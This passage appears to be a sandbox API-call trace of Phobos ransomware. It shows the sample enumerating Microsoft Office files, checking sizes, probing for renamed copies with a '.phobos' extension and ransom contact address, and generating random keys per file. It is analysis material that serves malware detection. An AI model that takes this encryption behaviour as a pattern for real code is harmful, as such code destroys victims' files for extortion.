dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.384] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3640) returned 1 [0155.384] CloseHandle (hObject=0x528) returned 1 [0155.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml")) returned 0x220 [0155.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.385] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.421] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3543) returned 1 [0155.421] CloseHandle (hObject=0x528) returned 1 [0155.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml")) returned 0x220 [0155.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.421] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.424] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=59164) returned 1 [0155.424] CloseHandle (hObject=0x528) returned 1 [0155.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml")) returned 0x220 [0155.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.425] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.426] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2042) returned 1 [0155.426] CloseHandle (hObject=0x528) returned 1 [0155.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml")) returned 0x220 [0155.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.426] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.427] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16148) returned 1 [0155.427] CloseHandle (hObject=0x528) returned 1 [0155.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml")) returned 0x220 [0155.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.431] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.432] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9818) returned 1 [0155.432] CloseHandle (hObject=0x528) returned 1 [0155.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml")) returned 0x220 [0155.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.433] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.434] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=236956) returned 1 [0155.434] CloseHandle (hObject=0x528) returned 1 [0155.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml")) returned 0x220 [0155.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.435] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.436] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=36720) returned 1 [0155.436] CloseHandle (hObject=0x528) returned 1 [0155.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml")) returned 0x220 [0155.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.436] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.437] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=36750) returned 1 [0155.437] CloseHandle (hObject=0x528) returned 1 [0155.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml")) returned 0x220 [0155.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.438] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.439] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6158) returned 1 [0155.439] CloseHandle (hObject=0x528) returned 1 [0155.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml")) returned 0x220 [0155.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.439] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.440] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=104348) returned 1 [0155.440] CloseHandle (hObject=0x528) returned 1 [0155.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml")) returned 0x220 [0155.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.441] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.442] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=23444) returned 1 [0155.442] CloseHandle (hObject=0x528) returned 1 [0155.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml")) returned 0x220 [0155.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.442] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.443] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=27466) returned 1 [0155.443] CloseHandle (hObject=0x528) returned 1 [0155.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml")) returned 0x220 [0155.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.443] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.444] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=324596) returned 1 [0155.444] CloseHandle (hObject=0x528) returned 1 [0155.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml")) returned 0x220 [0155.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.445] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.446] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=104560) returned 1 [0155.446] CloseHandle (hObject=0x528) returned 1 [0155.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml")) returned 0x220 [0155.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.446] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.447] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2042) returned 1 [0155.447] CloseHandle (hObject=0x528) returned 1 [0155.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml")) returned 0x220 [0155.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 